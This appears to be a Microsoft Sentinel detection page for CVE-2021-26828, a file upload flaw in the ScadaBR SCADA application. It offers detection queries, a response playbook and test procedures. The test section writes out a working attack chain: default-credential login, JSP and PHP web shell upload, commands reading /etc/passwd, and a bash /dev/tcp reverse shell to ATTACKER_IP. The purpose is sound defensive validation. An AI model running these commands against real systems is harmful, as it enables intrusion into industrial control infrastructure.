Detect CVE-2021-26828: OpenPLC ScadaBR Unrestricted File Upload RCE in Microsoft Sentinel
Detects exploitation of CVE-2021-26828, an unrestricted file upload vulnerability in OpenPLC ScadaBR that allows authenticated attackers to upload files with dangerous types (e.g., JSP, PHP, WAR) to the server, leading to remote code execution. ScadaBR is a SCADA/HMI web application widely used in industrial control systems. This vulnerability is actively exploited in the wild and listed in CISA KEV.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
KQL Detection Query
union DeviceNetworkEvents, DeviceProcessEvents, DeviceFileEvents
| where TimeGenerated > ago(24h)
| where (
(ActionType == "FileCreated" and FolderPath matches regex @"(?i)(scadabr|openplc|tomcat)[/\\](webapps|upload|images)[/\\].*\.(jsp|jspx|php|war|sh|py|pl|rb|aspx|cfm)$")
or (ActionType == "ProcessCreated" and InitiatingProcessFileName in~ ("java.exe", "java", "tomcat") and (ProcessCommandLine contains ".jsp" or ProcessCommandLine contains "cmd" or ProcessCommandLine contains "bash"))
or (ActionType == "InboundConnectionAccepted" and RemotePort in (8080, 8443, 80, 443) and LocalPort in (8080, 8443))
)
| extend SuspiciousIndicator = case(
ActionType == "FileCreated" and FolderPath matches regex @"(?i)\.(jsp|jspx|php|war)$", "WebShell upload to SCADA directory",
ActionType == "ProcessCreated" and InitiatingProcessFileName in~ ("java.exe", "java"), "Java process spawning shell",
"Suspicious SCADA web activity"
)
| project TimeGenerated, DeviceName, AccountName, ActionType, FolderPath, FileName, ProcessCommandLine, RemoteIP, SuspiciousIndicator
| order by TimeGenerated descDetects unrestricted file uploads to ScadaBR/OpenPLC web directories and subsequent web shell execution via Java/Tomcat processes on endpoints running SCADA software.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate WAR deployments by administrators to Tomcat/ScadaBR application directories
- Authorized JSP development or customization of ScadaBR dashboards by ICS engineers
- Security testing or vulnerability scanning tools uploading test payloads in authorized engagements
- Automated backup or configuration management tools creating files in web directories
Other platforms for CVE-2021-26828
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Upload JSP Web Shell to ScadaBR Upload Endpoint
Expected signal: HTTP POST to /ScadaBR/upload.shtm with multipart form data containing .jsp file; Tomcat access log shows 200 response; file creation event for .jsp file in webapps directory
- Test 2Execute OS Command via Uploaded JSP Web Shell
Expected signal: Java process (Tomcat JVM) spawning child process for id, whoami, cat commands; Sysmon Event ID 1 with ParentImage containing java; process command line containing /etc/passwd
- Test 3Establish Reverse Shell from ScadaBR Server via Web Shell
Expected signal: Java process spawning bash with /dev/tcp redirect; outbound TCP connection from ScadaBR host to ATTACKER_IP:4444; network flow event with non-standard destination port from Java process
- Test 4Upload PHP Web Shell as Image File Bypass
Expected signal: POST request to upload endpoint with PHP file disguised as image; file creation event showing PHP content in webapps directory; Content-Type mismatch between declared image/jpeg and actual PHP content
Response Playbook
Triage
- Identify the source IP of the upload request and determine if it is an internal ICS/OT network address or an external threat actor; cross-reference with authorized ScadaBR admin user accounts.
- Inspect the uploaded file path and name on the ScadaBR/Tomcat server — locate files with extensions .jsp, .jspx, .php, .war, .sh in the upload, images, or graphicViews directories and extract them for analysis.
- Check Tomcat access logs for POST requests to /upload, /graphicViews, or /images endpoints with response codes 200 or 302, and correlate with subsequent GET requests to the same suspicious paths (indicating web shell access).
- Determine whether the Java process has spawned child processes such as cmd.exe, bash, sh, or python and review the command-line arguments for reconnaissance commands (whoami, id, ifconfig, netstat, ls).
Containment
- Immediately isolate the ScadaBR/OpenPLC host from the network at the switch or firewall level to prevent lateral movement into OT/ICS infrastructure while preserving disk state for forensic analysis.
- Disable web access to the ScadaBR upload endpoint by applying a WAF rule or nginx/Apache deny rule blocking POST requests to /upload and /graphicViews paths until the vulnerability is patched or mitigated.
- Terminate the Java/Tomcat process if active web shell execution is confirmed and a reverse shell session is established; capture memory dump before termination if possible.
Evidence Collection
- Collect Tomcat access logs (access_log.*.txt), Tomcat catalina.out, and application logs from the ScadaBR installation directory; preserve with timestamps and file hashes.
- Extract and hash all files created in Tomcat webapps, upload, and images directories within the incident timeframe; submit suspicious files to sandboxing environment for behavioral analysis.
- Capture full packet capture (PCAP) from the network interface of the ScadaBR host covering the incident window to reconstruct the attacker's HTTP session and any C2 communications.
Escalation Criteria
- !Escalate immediately to ICS/OT security team and plant operations if the ScadaBR instance is connected to live operational technology (PLCs, RTUs, HMIs) or safety instrumented systems, as RCE in this environment can cause physical process disruption.
- !Escalate to incident response leadership and notify CISA if exploitation is confirmed, as CVE-2021-26828 is listed in CISA KEV and may indicate a targeted attack on critical infrastructure; mandatory reporting may apply under CIRCIA.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Tomcat access logs showing POST requests with dangerous file extensions to upload endpoints - >
File system artifacts: newly created .jsp, .php, .war, .sh files in Tomcat webapps or ScadaBR upload directories - >
Java process child process tree showing cmd.exe, bash, or python spawned from Tomcat JVM - >
Network connections from Tomcat/Java process to external IPs on non-standard ports (reverse shell) - >
Windows Security Event Log 4688 or Sysmon Event ID 1 showing process creation with Java parent
Tuning Guidance
Reduce false positives by baselining legitimate ScadaBR admin accounts and their typical upload activity patterns, then filtering on known-good source IPs or authenticated sessions. Whitelist authorized WAR deployment pipelines by their source IP or user agent. In environments where ScadaBR is internet-exposed, increase alert fidelity by requiring both the upload event AND a subsequent file execution or process spawn event in sequence. If Tomcat is running in a container or VM, scope detection to the specific host/container name to avoid noise from legitimate Java web application servers in the same environment.
Hunting Queries
Hunt for files with dangerous extensions created by Java processes in web application directories over the past 7 days — identifies web shells placed via CVE-2021-26828 or similar unrestricted upload vulnerabilities in SCADA applications.
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("java.exe", "java")
| where FolderPath matches regex @"(?i)(webapps|upload|images|graphicViews)"
| where FileName matches regex @"(?i)\.(jsp|jspx|php|war|sh|py|aspx)$"
| project TimeGenerated, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated descindex=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "linux_auditd")
(EventCode=11 OR type="PATH")
(TargetFilename="*.jsp" OR TargetFilename="*.php" OR TargetFilename="*.war" OR TargetFilename="*.sh")
(TargetFilename LIKE "%webapps%" OR TargetFilename LIKE "%upload%" OR TargetFilename LIKE "%scadabr%")
| table _time, host, TargetFilename, Image, CommandLine
| sort -_timeAtomic Red Team Tests
Simulates an attacker uploading a JSP web shell to the ScadaBR image/file upload endpoint, exploiting the lack of file type validation in CVE-2021-26828.
Command
curl -s -c /tmp/scadabr_cookies.txt -b /tmp/scadabr_cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/j_security_check' -d 'j_username=admin&j_password=admin' && curl -s -c /tmp/scadabr_cookies.txt -b /tmp/scadabr_cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/upload.shtm' -F 'file=@/tmp/test_shell.jsp;type=image/jpeg' -F 'name=shell'Cleanup
rm -f /tmp/scadabr_cookies.txt /tmp/test_shell.jspExpected Telemetry
HTTP POST to /ScadaBR/upload.shtm with multipart form data containing .jsp file; Tomcat access log shows 200 response; file creation event for .jsp file in webapps directory
Expected Detection
Alert on POST request to ScadaBR upload endpoint with .jsp extension in filename; file creation alert for JSP in webapps directory
After uploading the web shell via CVE-2021-26828, simulates attacker accessing the shell to execute OS commands on the ScadaBR server.
Command
curl -s 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp?cmd=id' && curl -s 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp?cmd=whoami' && curl -s 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp?cmd=cat+/etc/passwd'Cleanup
Remove the uploaded shell.jsp file from ScadaBR webapps/uploads directory on the targetExpected Telemetry
Java process (Tomcat JVM) spawning child process for id, whoami, cat commands; Sysmon Event ID 1 with ParentImage containing java; process command line containing /etc/passwd
Expected Detection
Alert on Java/Tomcat spawning OS command processes (id, whoami, cat); process ancestry anomaly detection fires on non-standard child of Java
Simulates attacker using the uploaded web shell to establish a reverse shell from the ScadaBR ICS host back to attacker-controlled infrastructure.
Command
curl -s -G 'http://TARGET_IP:8080/ScadaBR/uploads/shell.jsp' --data-urlencode 'cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'Cleanup
Kill the reverse shell process on the target; remove web shell artifact from ScadaBR serverExpected Telemetry
Java process spawning bash with /dev/tcp redirect; outbound TCP connection from ScadaBR host to ATTACKER_IP:4444; network flow event with non-standard destination port from Java process
Expected Detection
Alert on Java process establishing outbound non-standard port connection; reverse shell detection via bash -i /dev/tcp pattern; network detection for OT host communicating with external IP
Tests whether ScadaBR's upload endpoint can be bypassed by naming a PHP web shell with an image extension, then accessing it with a .php path traversal or direct URL.
Command
echo '<?php system($_GET["cmd"]); ?>' > /tmp/evil.php && curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/j_security_check' -d 'j_username=admin&j_password=admin' && curl -s -c /tmp/cookies.txt -b /tmp/cookies.txt -X POST 'http://TARGET_IP:8080/ScadaBR/upload.shtm' -F 'file=@/tmp/evil.php;filename=evil.jpg;type=image/jpeg'Cleanup
rm -f /tmp/evil.php /tmp/cookies.txt; remove any uploaded file from ScadaBR serverExpected Telemetry
POST request to upload endpoint with PHP file disguised as image; file creation event showing PHP content in webapps directory; Content-Type mismatch between declared image/jpeg and actual PHP content
Expected Detection
File type mismatch detection or magic bytes inspection; alert on .php file creation in web application directory regardless of declared MIME type